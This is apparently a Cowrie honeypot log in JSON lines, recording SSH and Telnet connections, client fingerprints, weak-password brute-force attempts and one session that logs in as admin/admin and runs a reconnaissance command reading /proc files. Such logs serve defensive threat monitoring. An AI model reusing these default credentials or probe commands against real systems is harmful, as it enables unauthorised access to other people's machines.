{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:32:43.118407Z","src_ip":"2.57.122.208","session":"e5910dffafed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:32:43.917191Z","src_ip":"2.57.122.208","session":"e5910dffafed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:32:45.222700Z","src_ip":"2.57.122.208","session":"e5910dffafed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.42.116.49","src_port":32878,"dst_ip":"10.17.0.5","dst_port":22,"session":"1271acc29f1e","protocol":"ssh","message":"New connection: 192.42.116.49:32878 (10.17.0.5:22) [session: 1271acc29f1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:20.656279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:20.986132Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"087ab61de4f8afa9ac8f30c1b7c418eb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour,arcfour128,arcfour256;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour","arcfour128","arcfour256"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 087ab61de4f8afa9ac8f30c1b7c418eb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:21.078597Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:23.070216Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.client.size","width":200,"height":80,"message":"Terminal Size: 200 80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:23.948772Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:24.263303Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778369664943821263\" | sh","message":"CMD: echo \"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778369664943821263\" | sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:25.074129Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778369664943821263\n","message":"CMD: bash --help; ls /proc/1/; cat /proc/1/mounts; cat /proc/cpuinfo; echo __1778369664943821263\n","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:25.078832Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"","message":"CMD: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:25.086151Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a1dd87c0a3ba720789145135253889643b3146cc195f43ea817b34a2a6c8b174","size":1727,"shasum":"a1dd87c0a3ba720789145135253889643b3146cc195f43ea817b34a2a6c8b174","duplicate":false,"duration":"5.9","message":"Closing TTY Log: var/lib/cowrie/tty/a1dd87c0a3ba720789145135253889643b3146cc195f43ea817b34a2a6c8b174 after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:30.141907Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:34:30.147331Z","src_ip":"192.42.116.49","session":"1271acc29f1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.133.78.64","src_port":58216,"dst_ip":"10.17.0.5","dst_port":23,"session":"cda9d31986b1","protocol":"telnet","message":"New connection: 190.133.78.64:58216 (10.17.0.5:23) [session: cda9d31986b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:35:10.064177Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49696,"dst_ip":"159.203.135.109","dst_port":22,"session":"57f1e663b88c","protocol":"ssh","message":"New connection: 2.57.122.208:49696 (159.203.135.109:22) [session: 57f1e663b88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:35:16.524026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:35:16.535471Z","src_ip":"2.57.122.208","session":"57f1e663b88c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:35:16.719259Z","src_ip":"2.57.122.208","session":"57f1e663b88c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:35:17.234287Z","src_ip":"2.57.122.208","session":"57f1e663b88c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:35:18.418425Z","src_ip":"2.57.122.208","session":"57f1e663b88c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.872929811477661,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:35:23.936944Z","src_ip":"190.133.78.64","session":"cda9d31986b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"84.239.42.8","src_port":22688,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5ef4d0b06f7","protocol":"ssh","message":"New connection: 84.239.42.8:22688 (159.203.135.109:22) [session: c5ef4d0b06f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:36:44.305935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:36:44.310050Z","src_ip":"84.239.42.8","session":"c5ef4d0b06f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:36:44.439524Z","src_ip":"84.239.42.8","session":"c5ef4d0b06f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:36:44.954393Z","src_ip":"84.239.42.8","session":"c5ef4d0b06f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:36:46.087553Z","src_ip":"84.239.42.8","session":"c5ef4d0b06f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":50280,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7da23b063b6","protocol":"ssh","message":"New connection: 2.57.122.208:50280 (159.203.135.109:22) [session: f7da23b063b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:37:54.930501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:37:54.935637Z","src_ip":"2.57.122.208","session":"f7da23b063b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:37:55.223486Z","src_ip":"2.57.122.208","session":"f7da23b063b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:37:56.423005Z","src_ip":"2.57.122.208","session":"f7da23b063b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:37:57.629461Z","src_ip":"2.57.122.208","session":"f7da23b063b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.25.121.117","src_port":48617,"dst_ip":"10.17.0.5","dst_port":23,"session":"eefe6cc4ac29","protocol":"telnet","message":"New connection: 223.25.121.117:48617 (10.17.0.5:23) [session: eefe6cc4ac29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:38:30.384459Z"}
{"eventid":"cowrie.session.closed","duration":13.493776798248291,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:38:43.878143Z","src_ip":"223.25.121.117","session":"eefe6cc4ac29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.134.49.5","src_port":45250,"dst_ip":"10.17.0.5","dst_port":22,"session":"b68362944781","protocol":"ssh","message":"New connection: 185.134.49.5:45250 (10.17.0.5:22) [session: b68362944781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:47.282729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:47.289312Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:47.413483Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ce:3f:80:b3:cf:04:8d:86:16:e8:67:88:de:ca:8c:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdwQNYfFBNCCqh6ZVM3ReGwgUDys+f0HnyH694kXC8rP3Ud7ZREmQg+CxFV8kcPk7qJZmoZ0cDBGSMxK4U1s56E2p9PHPFEn/EW7JlRYjPIum6N6AZS/9jbStBL8JIr0P2FhGXWQIl3d1f+1kj35pGBjOqi+JhUdiIAhTlaG4uumQO80MetIcVNGxnbKcsjWtn6ugHGOb/1FbPvEEbGYTn/YmvWMRtkBpbpfJccqCnk4vjHH9yQspABrLY7Oci7haPEfp46MVPvz0enbuAYmpn4tym1+ar/adpks95xnT6rt1GNelhFdrPsIuT+CMiYjAoNdVxZTOCY4U9CNSgyTGr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ce:3f:80:b3:cf:04:8d:86:16:e8:67:88:de:ca:8c:b4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.006564Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ce:3f:80:b3:cf:04:8d:86:16:e8:67:88:de:ca:8c:b4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdwQNYfFBNCCqh6ZVM3ReGwgUDys+f0HnyH694kXC8rP3Ud7ZREmQg+CxFV8kcPk7qJZmoZ0cDBGSMxK4U1s56E2p9PHPFEn/EW7JlRYjPIum6N6AZS/9jbStBL8JIr0P2FhGXWQIl3d1f+1kj35pGBjOqi+JhUdiIAhTlaG4uumQO80MetIcVNGxnbKcsjWtn6ugHGOb/1FbPvEEbGYTn/YmvWMRtkBpbpfJccqCnk4vjHH9yQspABrLY7Oci7haPEfp46MVPvz0enbuAYmpn4tym1+ar/adpks95xnT6rt1GNelhFdrPsIuT+CMiYjAoNdVxZTOCY4U9CNSgyTGr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.011029Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:d7:25:e3:75:53:fb:f9:a9:31:7f:08:c5:4f:e5:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCQJLJubNjPEe6rc9yeUzzu77INtGqIf5Pk520cP3FA8lQApJ6z13OvaIPaSHedeIkZ4yKl5O9sS5TrQctYB43LKoZMUFBkA11pEXM5A9DN+yQkzk88uuauJTEUFouYQ7MXDStR8zTbVHIKlMJgghL65SqXoxw7ArmoP1kHK3fzbKQ3CSjPhwbDLKf2w8UOnnQfGWegjjTH4bc0vbu/rPdwa/TTTWG0EQ3WKR1qm05ThPE0X8CnqeeR8ozv+50Ej0EMjd6s+ArMRjVpvMINetc8mAPX9dF3rGKZHhCIYV4pFuorALBnYxUHIY252NEiywhNrrf22FEgkcPbgyyN3l53","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:d7:25:e3:75:53:fb:f9:a9:31:7f:08:c5:4f:e5:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:39:48.138127Z","src_ip":"185.134.49.5","session":"b68362944781","protocol":"ssh"}
